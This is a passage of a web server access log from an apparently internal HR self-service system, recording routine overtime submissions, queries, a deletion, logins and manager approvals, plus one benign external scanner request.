"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:40:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4269 192.168.11.135 - - [01/Dec/2025:09:40:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:40:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [01/Dec/2025:09:41:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3029679463752525 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:41:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3029679463752525 HTTP/1.1" 200 8908 192.168.11.135 - - [01/Dec/2025:09:41:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3029679463752525 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3029679463752525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:41:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3029679463752525 HTTP/1.1" 200 24852 192.168.11.135 - - [01/Dec/2025:09:42:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:42:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.135 - - [01/Dec/2025:09:42:20 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132647%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132647&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:42:20 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132647%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132647&target=iframe HTTP/1.1" 200 3251 192.168.11.135 - - [01/Dec/2025:09:42:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:42:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [01/Dec/2025:09:42:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12491 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:42:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12491 192.168.11.135 - - [01/Dec/2025:09:42:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:42:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 192.168.11.135 - - [01/Dec/2025:09:42:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:42:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [01/Dec/2025:09:42:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:42:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [01/Dec/2025:09:43:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:43:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [01/Dec/2025:09:43:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:43:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [01/Dec/2025:09:43:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:43:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [01/Dec/2025:09:43:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8240467318299376 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:43:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8240467318299376 HTTP/1.1" 200 8908 192.168.11.135 - - [01/Dec/2025:09:43:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8240467318299376 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8240467318299376" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:43:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8240467318299376 HTTP/1.1" 200 24852 192.168.11.135 - - [01/Dec/2025:09:44:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:44:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.135 - - [01/Dec/2025:09:44:28 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132648%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132648&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:44:28 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132648%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132648&target=iframe HTTP/1.1" 200 3251 192.168.11.135 - - [01/Dec/2025:09:44:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:44:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [01/Dec/2025:09:44:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 27769 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:44:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 27769 192.168.11.135 - - [01/Dec/2025:09:45:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1362699 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:45:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1362699 HTTP/1.1" 302 - 192.168.11.135 - - [01/Dec/2025:09:45:07 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1362699+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:45:07 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1362699+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 192.168.11.135 - - [01/Dec/2025:09:45:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:45:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 100.64.0.1 - - [01/Dec/2025:09:46:04 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [01/Dec/2025:09:46:04 +0800] "GET / HTTP/1.1" 200 439 192.168.11.135 - - [01/Dec/2025:09:46:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5671653637610756 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:46:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5671653637610756 HTTP/1.1" 200 8908 192.168.40.34 - - [01/Dec/2025:09:46:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [01/Dec/2025:09:46:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.135 - - [01/Dec/2025:09:46:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5671653637610756 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5671653637610756" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [01/Dec/2025:09:46:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5671653637610756 HTTP/1.1" 200 24852 192.168.40.34 - - [01/Dec/2025:09:46:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.34 - - [01/Dec/2025:09:46:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 47611 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 47611 192.168.40.34 - - [01/Dec/2025:09:46:36 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:36 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132649%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132649&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132649%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132649&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:37 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:37 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:09:46:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132650%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132650&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:46:37 +0800] "GET 